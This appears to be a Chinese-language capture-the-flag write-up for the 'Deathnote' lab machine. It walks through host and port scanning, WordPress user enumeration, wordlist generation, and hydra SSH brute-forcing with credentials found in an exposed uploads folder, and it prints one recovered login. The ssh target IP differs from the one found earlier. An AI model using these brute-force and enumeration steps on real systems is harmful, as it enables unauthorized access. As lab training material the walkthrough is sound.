Deathnote解题过程

news2024/11/25 6:50:39

主机扫描，发现192.168.1.194
```
arp-scan -l
```
端口扫描，发现80和22端口
```
nmap -sS 192.168.1.194
```
访问80端口发现自动跳转到http://deathnote.vuln/wordpress添加绑定地址就可以访问了
```
vim /etc/hosts
192.168.1.194		deathnote.vuln
```
访问发现并没有什么东西

4.目录扫描，发现robots.txt和wordpress/wp-login.php 可以访问

dirsearch -u http://192.168.1.194

5.robots.txt没看出有什么用

6.访问wordpress/wp-login.php发现是一个登录页面

使用wpscan进行用户扫描，发现用户kira

wpscan --url http://deathnote.vuln/wordpress/ --enumerate u

使用cewl命令爬取页面信息生成字典

cewl http://deathnote.vuln/wordpress/ -w Dnote.txt

使用wpscan进行爆破，但是没爆破出来

wpscan --url http://deathnote.vuln/wordpress/ --usernames kira --passwords Dnote.txt

7.继续进行目录扫描

dirsearch -u http://deathnote.vuln/wordpress/

发现许多可以访问的目录，但是一个一个试，发现就wp-content/uploads/目录有用

8.访问http://deathnote.vuln/wordpress/wp-content/uploads/下的2021文件夹，进入07文件夹，找到notes.txt和user.txt。

查看发现就是账号和密码。

9.将其下载到kali

curl http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt >  notes.txt

curl http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt >  user.txt

使用wpscan进行爆破还是没用，这里就用hybra进行ssh远程连接爆破了

hydra -L user.txt -P notes.txt ssh://192.168.1.194

发现了用户l和密码death4me

接着远程连接

ssh l@192.168.1.192

连接上后发现有个user.txt文件，查看后又是某种加密

使用brainfuck解密工具进行解密（ Brainfuck/OoK加密解密 - Bugku CTF ）。得到：i think u got the shell , but you wont be able to kill me -kira（我想你得到了 shell，但你不能杀了我 —— kira ）

（解密网站：https://ctf.bugku.com/tool/brainfuck）